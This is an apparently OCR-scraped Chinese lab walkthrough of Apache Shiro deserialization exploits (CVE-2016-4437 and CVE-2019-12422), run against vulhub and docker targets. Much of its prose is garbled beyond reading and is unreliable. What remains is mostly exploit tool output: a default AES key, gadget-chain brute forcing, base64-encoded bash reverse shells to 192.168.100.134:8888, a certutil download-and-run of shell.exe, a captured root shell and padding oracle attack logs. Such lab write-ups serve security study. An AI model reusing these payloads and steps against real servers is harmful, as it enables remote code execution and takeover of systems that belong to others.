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shiro-550F &2/ shirofrememberMe B RFFMLSHRRSHITRE, 1EMANREEZEIANE R
BRI EshirolRiEF, HIBMARRABHIASTLURBERANEEZR. FRREETUSIE—
MEENSR, WEFHTFII. &8, AREEEIEAcookiefrememberMe=FEERAKIX, Shiro 37
HESHRFIL, SEIRS e T—YEERB.

¥HIE: cookie&BrememberMe=FE
g

EFshiroZ1.2.4LL_EAIRRAS.,
TMERRUARIINEEE, BUIBEHAERZER.

el [RIE

—. Shirofaft
Apache Shiro 2— 18 XFZ Y Java T2IEZE, IBETIAE, 8. IIENSREBENRE, WHE
A—NRZFBRERR, Shiro #EJLUR Mt EMNEZEEEIRS.

fEApacheShiro<=1.2.4hkRAFAESHNERT R AR key 2FE4RIBENRIL TR, FERNFMILIE
Remembe MefJ(&, AEILERFIUCHIT,

—. ShirofRSBERBISMHINFRELIEATRE

(1) nn=z

1. AP ERAKSERHTESR, HAi%E Remember Me",

2, ShirolIFAFERIER, BidfE, BERAFEAAET Remember Me”,

3. &A%, WSHAFREHFIINL, FHEFIIEHRRBHITAESINE, BfFEfAbase64swiS.


af://n3
af://n4
af://n5
af://n12

4, REBIBITFHNSI T cookiedirememberMe=Eg,

(2) &

1. SRS HEEIRERESDIIERNBFRIERE, SEEFimAIEBRTFRIcookieHEREY

rememberMe=ZEEHNE.
2. BIRENERIrememberMe=E# Thaseb4f#hE, F{EFAESHEE,
3. ERBBRENATHITRFEIIG, KEEIBRFB5.
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Shiro550 R EE@idflliEkey, 1BHEHEZE, ML THIA
Shiro7218%aseiNZAkey—iRIER TIBAZ], BREFGPEVERA, HELNEFEEEXBEFREERN e
N T ERETRIERRLARA JEE(FERE RGN rememberMe Cookie, A8 LUHIT F—FIE.
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URLFFEBShiro=E&

cookieFE&HrememberMe=Eg

IREIEHEErememberMe
iR A

7EShiro7215, Shirol@IFAES-128-CBCXFcookiedfrememberMe=E#1TINZ:, FRrLARBF I LUES
PaddingOracle &4 RIS RIMIEEENrememberMe=E:, #ITRFIMLIGE, BEHRITH
HoHEZY, L£apayload EERIRT AR,

i) R IR

i FApache Shiro cookiedhj@Eid AES-128-CBC I INZEAIrememberMe=FERF/EARR, @Y
Padding Oracle INZ4 RIS MEIE TSR rememberMe=E;, FIBEXAIRememberMe
cookiefE/gPadding Oracle Attack BYRISR, AEHHWERDHEIERIRememberMeskiiT)ava FFFILIL
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EFEMuh, FHMcookiesRkEXRememberMe, fEFIRememberMe cookiefEAPadding Oracle Attack
HIBIZE. INZsyseriallIFFIKAMGE, LUEEPadding Oracle Attack&IWERELEIVERY
RememberMe, BEXHHEHTHIRememberMe cookiefIMiuL, LIFITRFIIMEKE, KEELHE
RememberMeIZHIZIEZSR.

mnzxAz: AES-128-CBC
BFAESINZEEZAICBCIRED, (FR128(EIRRA—ETINERS, BD16=T58EX, XIR16=
TEX, , PANXINZR, MNREHEAE16FT, WSBEIEIERIRTET

ERERIRAPNAE 1671, FEHITER, BRERAPKCSTHITIER., WSR3 NFT, WA
FE3NFHRION03EREER1 0T, WEFE10PMFTIHIOX0a;

ERXEFR16NFIHENE, RREBINA—M6FT50x1009EBHITINE

Padding Oracle Attack/FIE
Padding OracleIXEEAJ LATEIR B EHIEIR M IIESREE L

Shiro Padding Oracle Attack (ShiroiEsOraclelss) E—§tFApache Shiro SHAIIFIESRHIZETE
A&, Apache Shiro2javap g/ iZERNSMIGIEIERIER, BTEERAFRIE. URK

IEETNRE,

Padding Oracle Attack (iHZFEOracleliidy) B—MHIINZR A ERERNEZERRYE. ENEEE
o, EFEATISIANEIET REINNEEERANIEE. ERETS, WEEF BRSNS
BT INE R AP ERES.

Shiro Padding Oracle Attack#|F8 T ShirofEZRPRISMHIGIES PRI —NER, ZimEFREE BT
PSRRI RN ESRBES MBS EPAYER. BEFMEAARNERSN, REETLUZE
SHEFTHINERLE, FREREUHIEER.

XFILEFI A T ERERNSH ISR T RERRIEEIIRE, RERBXLERHTH—
E£HEE, A THLEShiro Padding Oracle Attack, EY A8 HETApache ShirohiZ, HREIEEIZLH
A, FRINHREEE, NFERRENINFREENZAETRRS.

BRSM: CVE-2016-4437
RE: kali linux
#7(ER . vulhub/shiro/CVE-2016-4437

~/ % T /vulhub/shiro/CVE-2016-4437
ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PO
RTS NAMES
acb02458520f vulhub/shiro:1.2.4 "java -jar /shirodem..” About a minute ago Up About a minute 0.
0.0.0:8080—8080/tcp, :::8080—8080/tcp cve-2016-4437 web_1

~/% T /vulhub/shiro/CVE-2016-4437

iglaltthit :


af://n43
af://n55

Please sign in

Username

Password

[JRemember me

Sign in

Mmasth—T:

{ &R

=ik Raw Hex

1 POST /doLogin HTTP/1.1

2 Host: 192.168.100. 134:8080

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;
Gecko/20100101 Firefox/52.0

4 Accept :

q=0.8
5 Accept-Language:
6 Accept—Encoding: gzip,
7 Referer:

deflate

8AG3A2D0AT1ED44222E

9 DNT: 1

0 Connection: close

| Upgrade-Insecure-Requests: 1

2 Content-Type: application/x-www—form-urlencoded
3 Content-Length: 52

1
1
1
1
14
15

QIHIENETS

text/html, application/xhtml+xml, application/xml;q=0.9, s/%*;

zh—CN, zh;q=0. 8, en-US ;q=0. 5, en;q=0. 3

]
=t

B wn

Raw Hex THHEEH =

HTTP/1. 1 200

1

Set—Cookie: rememberMe=deleteMe; #ach/: Max—Age=0;

1vi52.0)

(e I I = IS

http://192. 168. 100. 134:8080/1login ; jsessionid=D8BAB4CESEEE3 10

11

8 Cookie: JSESSIONID=D8BAB4CESEEE38AG3A2D0ATIED44222E 12

13

username=admin&password=admin&rememberme=remember-me

OMtHC

ExXpires—Ihu, 14 sep 2023 11:20:09 GMT
Content—Type: text/html;charset=UTF-8
Content-Language: zh-CN

Date: Fri, 15 Sep 2023 11:25:59 GMT
Connection: close

Content-Length: 2608

!doctype html>
<html lang="en”>
<head>
<meta charset="utf-8">
{title>
Login Page

{Jtitle>
<link rel="stylesheet” href="

https://edn. jsdelivr. net/npm/bootstrap@4. 4. 1/dist/css/

bootstrap. min. css” integrity="

sha256-L/W5Wfqfa0sdBNIKN9cGBQASF2qx4qICmU2VgLruv9y="

crossorigin="anonymous”>
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v = _
HiNBR E*Fﬁurl
GET ~ | BARBIE | http://192.168.100.134:8080/doLogin BEhaEE/s 5
v EEE \
ES £ rememberMe fEEEH kPH +blIxk5D2deZilxcaaaA== AES GCM v [T i) RE=H
v FRAA
FUREE | CommonsCollectionsK1 ~ BEZESH  TomcatEcho - HRIMATE B IRERBEEROE
ARG x | #$HiTx | IED X
fFiEshirotEze!
[*] kPH+blxk5D2deZilxcaaaA==
ETRIERF BEUAREES:
I
v WilBin
GET ~ | B¥HIE  http://192.168.100.134:8080/doLogin / BEhEE/S 5
v TR \
=T rememberMe EEEH kPH+blxkSD2deZilxcaaaA== AES GCM T 1=EEE
¥ FFEAI
ﬂfﬁi? CommonsBeanutils1 ~ | BIEA | TomeatEcho - M ETRI R ISEFIFRERRE
HMAEx | @asiiTx | AED X
FiEshirofzzg!

[*] kPH+blxk5D2deZilxcaaaA==
[*] ATfEiEEECommonsBeanutilsi
[*] BEEFHTREEAIA,

BB AT, TomcatEcho

BT RATBH Ta ST




HWNHEX | @$HiTx | BED X

A Is && whoami

n
libb4
media
mnt
opt
proc
root
run
sbin
shirodemo-1.0-SNAPSHOT jar
srv

sys

tmp
usr
var

root

=BEshell :
A{ERAT R T :

| Shiro550/721imi#M v2.51 Final by kI8 - O
PEEERIIRRIEZEE | Shiro550 - BERE | xTF

SZHttpiER

AFHHttp:
%/ keys.conf.big
j87EKey/Gadget/EchoType

HNFERERIEHTa ST, RifshellFR(F:
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] Trying Gadget:
] Trying Gadget:
] Trying Gadget:
] Trying Gadget:
] Trying Gadget:
] Trying Gadget:
] Trying Gadget:
] Trying Gadget:

L
[
[
[
[
[
[
[
[
[*] Trying Gadget:

*
*
*
*
*
*
*
*
*
#

UIUUII'}! I
BeanShelll
JBossInterceptorsi
JSONT1
JavassistWeld1
Jython1
MozillaRhino1
MozillaRhino2
ROME

Vaadin1

Ml atd

E ] I‘!‘ipn Gadoat:
P

[+] Find Valid Gadget: CommonsCollections5

[+] Find Valid Gadget: CommonsBeanutils1
[+] Find Valid Gadget: CommonsCollections7
[*] Using Key kPH+blxk5D2deZilxcaaal==

[*1 Using Gadoet CommonsBeanutils] .

(ERT R TERRISE:

RE I frim

window:

linux:

[0 get:

[#] Using Key kPH+bixkSD2deZilxcaaaA==
[#] Using Gadget CommonsCollections10
[*] Executing command: Is...

[+] Done

[#] Using Key kPH+bixkSD2deZilxcaaaA==
[*] Using Gadget CommonsCollections10
[*] Executing command: bash -c
{echo,YmFzaCAtaSA+JiAVZGV2L3RjcCBXOTIUMTYALEWMCAxMzQuODgAOCAWPiYx}|{base64,-d}{bas
h,-i}..

[+] Done

[] Using Key kPH+blixkSD2deZilxcaaaA==

[*] Using Gadget CommonsCollectionsé

IALE ating mmand:- bach

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcCBXOTIUMTYALEWMC4x12g40DggMD4mMQ==}{{base64,-d}|{b
ash,-i..
[+] Done
[] Using Key kPH+blixkSD2deZilxcaaaA==

[*] Using Gadget CommonsCollectionss

[*] Executing command: certutil.exe -urlcache -split -f 192.168.100.1:8888 shell.exe & shell.exe...
[+] Done




) 8888
listening on [any] 8888 ...
172.18.0.2: inverse host lookup failed:
connect to [192.168.100.134] from (UNKNO

v gERE  EEEShell(Linux) bt 192.168.100.134:8888 Fire

] B
[*] Using Gadget CommonsCollections10
[*] Executing command: bash -c

bash: cannot set terminal process group {echo,YmFzaCAtaSA +JiAvZGV2L 3RjcCBXxOTIUMTY4LEwMC4xMzQvODg4OCAWPiYx]|{base64,-d}|{bas

bash: no job control in this shell h,-i}...

root@ac602458520f: /# whoami [+] Done '

P [*] Using Key kPH +blxk5D2deZilxcaaaA==

whoami [*] Using Gadget CommaonsCollections6

root [*] Executing command: bash -c

root@ac602458520f: /# I {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTY4LjEwMC4xLzg40ODggMD4mMQ==}|{base64,-d}|{b
ash,-i}...
[+] Done

[*] Using Key kPH +blxk5D2deZilxcaaaA==

[*] Using Gadget CommaonsCollections5

[*] Executing command: certutil.exe -urlcache -split -f 192,168.100.1:8888 shell.exe & shell.exe...

[+] Done

[*] Using Key kPH+blxkSD2deZilxcaaaA==

[ licing Gadget CommansCallectioneg

[*] Executing command: bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcCBXOTIUMTY4LjEwMC4xMzQvODg4OCAWPIYx)|{base64,-d}|(bas
h,-i}...

[+] Done

EBERysoserial MITRHYRMPRiHITREshell, BIARIESENH, BIEBERS.
ERRAFIAEEE, FLABEILRA.
T EHbht

RS : CVE-2019-12422
R kali linux

docker# TSN

git clone https://github.com/3ndz/Shiro-721.git
cd shiro-721/pDocker

docker build -t shiro-721

docker run -p 8080:8080 -d shiro-721

[+] Building 13.@s (9/9) FINISHED
>

~/ % T /Shiro-721-master/Docker
run -p 8080:808¢ shiro-721
9e7e483a99946e86272ea9c8fc@f7898df70dea3620f27d25929ad4blceddc79

~/ 5% T /Shiro-721-master/Docker

ps
CONTAINER ID  IMAGE « ND CREATED STATUS PORTS
NAMES
9e7e483a9994  shiro-721  "/usr/local/tomcat/b.." 3 seconds ago Up 2 seconds 0.0.0.0:8080—808@/tcp, :::8080—8080/tc
suspicious_euclid

0a):


https://github.com/feihong-cs/ShiroExploit-Deprecated/
af://n98

e = C O QO & 192.168.100.134:3080

D xmEm ) eemeag & 2o\ Fiddler 28 & BRHEEKTEE @ CIFEETE @ Brainfuck/Ook! Obf...

8 wr

D EEFE @ wlfocus

g & 1

#: BUUCTF 4 ctfshow S FESTR

Apache Shiro Quickstart

Hi Guest! ( Log_in (sample accounts provided) )

Welcome to the Apache Shiro Quickstart sample application. This page represents the home page of any web application.

If you want to access the user-only account page, you will need to log-in first.

Roles

To show some taglibs, here are the roles you have and don't have. Log out and log back in under different user accounts to see different roles.

Roles you have

Roles you DON'T have

admin
president
darklord
goodguy
schwartz

FIFRIZF2EFOshiro550EA4%2, shiro710EEEZMiL, FMcookiedhskERememberMe,

HITER, EREMRIKSTIZE:
FERERNIKSERERE, EiMasK

POST /login. jsp HITP/1.1
Host: 192.168. 100. 134:8080
User—Agent: Mozilla/5.0 (Macintosh: Intel Mac 0S X
10_15_7) AppleWebKit/537.36 (KHIML, like Gecko)
Chrome/112.0.0.0 Safari/537.36 uacq

4 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, imag
e/avif, image/webp, */*;q=0. 8

Accept-Language:

zh—CN, zh;¢=0. 8, zh—-TW;q=0. 7, zh-HEK ; g=0. 5, en-US; q=0. 3, en; g=0.
2

Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form—urlencoded
Content-Length: 56

Origin: http://192.168.100. 134:8080

10 Connection: close

11 Referer: http://192.168. 100.134:8080/1login. jsp

12 Cookie: JSESSIONID=c9ee40df-0b2f-4930-886a—a8084abd9e73

13 Upgrade—InsecureRequests: 1

14 sec—ch—ua-platform: “mac0S”

15 sec—ch—ua: "Google Chrome”;v="112",

Par i aem Pevar

@ €]> 2=

L by

=

o — &

i)

“Chromium”;v="112",

WNERINIEEN R EE1B ] rememberMe=deleteMe
\n

=4k Raw  Hex

1 POST /login. jsp HTTP/1.1

2 Host: 192.168.100.134:8080

3 User-Agent: Mozilla/5.0 (Macintosh: Intel Mac 0S X
10_15_7) AppleWebKit/537.36 (KHIML, like Gecko)
Chrome/112.0.0.0 Safari/537.36 uacq

4 Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, imag

e/avif, image/webp, */*;q=0. 8

Accept-Language:

zh—CN, zh;q=0. 8, zh-TW;¢=0. 7, zh-HK ; ¢=0. 5, en-US; ¢=0. 3, en; q=0.

2

Accept-Encoding: gzip, deflate

Content-Type: application/x—www—form—urlencoded

Content-Length: 54

9 Origin: http://192. 168. 100. 134:8080

10 Connection: close

11 Referer: http://192.168.100.134:8080/1ogin. jsp

12 Cookie: JSESSIONID=36b3caa3-9035-427e-92fa-d24355679adf5

13 Upgrade—Insecure—Requests: 1

14 sec—ch—ua—platform: “mac0S”

15 sec—ch—ua: "Google Chrome”;v="112"

. ar Pean

AN D[ N

Sl

W -1 >

“Chromium” ;v="112",

BEREFERset-cookielEXHHIrememberMef(d,

&i% Cookie (@iERemember Me)

HTTP/1.1 302
Set—Cookie: rememberMe=deleteMe: Path=/; Max-Age=0:
Expires=Sat 16-Sep-2023 09-07-14 GMT

[}

T

Set—Cookie: rememberMe=

zL8D jEbyOPV4MaY4yQ/ElaEfngTQdoK7DTkSzbZY+pcESrhJui+7Z3VYBT8
EQazYAkIdQGqfmOFhkpiPumVOv1Dc3i4d1/1s6/qCBf+19h9vkNZayudQan
yRir0/en38pF4THZ69MCLGME JLVP/5snXwhayPr0+Gy4LSof zEWI5xAAMd
1LjiSYepJaTLNeWXN1Hx JpL5ZiFEnNVSMAtp JHRXqK1YkSffESL jx1d0kYZ
tVPiwkqxq4XD1za9HTF78j33d02K651+4Uql1ECepAIXIxoMDtxITphisbh2e
W5EkwefZcVVVAMvnI7VCRYGbHLBt 7ThHFT2FStD1 jnEM7PhJaxrS7TICGt+Se
TIURbYF4cwo jTHLLAIHUC3t0Yhc31VXI j0Gz2yQ0YmTmxJqqt YqlNkuqu4 j
QzBFBhYF2VIva9X1nkZ jR6A2AXmO0J6Wecxp4qeX993MUBKRJhExCmaA3kDL
dINNdF7fnsKnvce8oxuqeH81EhOxxq6ILNKi/ZOPS; Path=/;

me () €| > z=.

Max—Age=31536000; Expires=Mon, 16-Sep—2024 09:07:14 GMT;
HttpOnly

Location: /

Content—Length: 0

Date: Sun, 17 Sep 2023 09:07:14 GMT

Connection: close

~- o Wl

w0 w

OPtHC

2k Raw Hex mMEmEEHR \n

L HTTP /] 1200

2 Set—Cookie: rememberMe=deleteMe;|Path=/; Max—-Age=0;
Expires=sat, 1b-Sep 2023 09:15:32 GMT

3 Content-Type: text/html;charset=IS0-8859-1

4 Content-Length: 2249

5 Date: Sun, 17 Sep 2023 09:15:31 GMT

6 Connection: close

8

9

10

11

12

13

14

15 <html>

16 <head>

<{link type="text/css” rel="stylesheet” href="
/style.css”/>
18 </head>

19 <body>

AN D, .

BESHT®R, REITESH

1EiEshiro721, BWAB#Rurl, &&rememberMel@, Rt F—, FFRIA]
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IEEFEEIRREREET Shiro721 > gEgE | x2F
| BZHupiEk ==
{HFHttps

I
Il

| M keys.conf.big
| #87EKey/Gadget/EchoType

[
[

http://192.168.100.134:8080)

rememberMe=0Q+fEWEGknvCi3NWeE1 /wwqc+gIHWNOhgZrD2GmBYneMUTHZCLmBAvbenO1ge
denfagd4wvZWQggf300VMn31aFQOuu3J4UssYQEd7jSQ8if2CH+ZylLevPe8NDeFqedTib8kcZkviHiYDkMp
NiZ2yweCwL5wn6DYFr+L3PBVIy1tlqyyAM3CLhgQ5jkG)/7B7AK/xc Wm4bbHxBICQ3CnyLngVkxRtCIFFSI
rV7SIrviBaln/De0jginQHh1Qaz/3sYromlI7IRWRjM6/lyHUDWrjPmhSjRri4 +VJyt1Gv3LIDrvG6LCRSalE)j07
si+LTJk9)gFedXfgDoatoxmCRjwHrH4Ei IRm/szovhWM3h0fCtSnOBZ7e7iGqY/6Gzg804kzkEmJBnPztBIO
hipbxQ8rAqaHvk7jvwSsq2GyX18D3srsKyi7dAqutnwpgPGRKQyUIkF3 + 2xillAJQdJsIS58AHaBFp2jd9frgss/
4+ 2Wa5SXFw8d63 +Fey1b/1s;

yeici =2 Y= o

B http://192.168.100.134:8080 - O X

) M ceye.io TR
M dnslog.cn #{TiEERN

£/ JRMP + dnslog.cn BHTiRERN

IPAddress

HTTPService Port 808C

% | F»




HFR0E:

B http://192.168.100.134:8080/

B
)
T

0

[ ] AT mouanarask OJTuJoTeToa

*] After RoundTask: f583e03e462¢eea

*] After RoundTask: 37f583e03e462cea

*] After RoundTask: 5537f583e03ed62eea

*] After RoundTask: 0f5537f583e03ed62eea

*] After RoundTask: 0d0f5537f583e03ed462eca

*] After RoundTask: 610d0f5537f583e03ed462eea

*] After RoundTask: 9d610d0f5537f583e03ed62eea

*] After RoundTask: ffod610d0f5537f583e03e462eea

*] After RoundTask: 9dffade10d0f5537f583e03e462eea
*] After RoundTask: 9c9dff9de10d0f5537f583e03e462cea

+] Get cipherText: f2e996f0040d0f5537f583e03e462eea
*] Calulating block 43

*] After RoundTask: 57

*] After RoundTask: b457

*] After RoundTask: 23b457

*] After RoundTask: 4e23b457

*] After RoundTask: 674e23b457

*] After RoundTask: f3674e23b457

*] After RoundTask: d4f3674e23b457

*] After RoundTask: 56d4f3674e23b457

fEfshiro&s=& T E:

WAurlfE: BHATIRWMGE, IBWA BN ES

B shiroRFFERREARIETE v2.2

¥ ElEiR
GET ~ | BEIE | hitp://192.168.100.134:8080/
v EiEEN
=Ew rememberMe REEE kPH +blxk5D2deZilxcaaaA==

¥ FIFEA

FIFM%  CommonsBeanutils1 ~ BESI | TomcatEcho

‘ﬁMHEX HOMITX | D X

TfF{EshiroiEzg!
[*] kPH+blxk5D2deZilxcaaaA==
[*] HEIHEiERE:CommonsBeanutils1 ERFAE: TomcatEcho

[*] W= BHTREX R,

[
[
[
[
[
[
[
[
[
[
[+] Get intermediary: 9c9dff9d610d0f5537f583e03e462eea
[
[
[
[
[
[
[
[
[
[

AES GCM EMAEET

ENSETRIREE

==/5 5

=EER

IREF AR RIS




L) N whoami

media
mnt
opt
proc
root
run
shin
srv
sys
tmp
usr
var

root

T Hithd


https://gitcode.net/mirrors/j1anfen/shiro_attack/-/releases/2.2?spm=1033.2243.3001.5876
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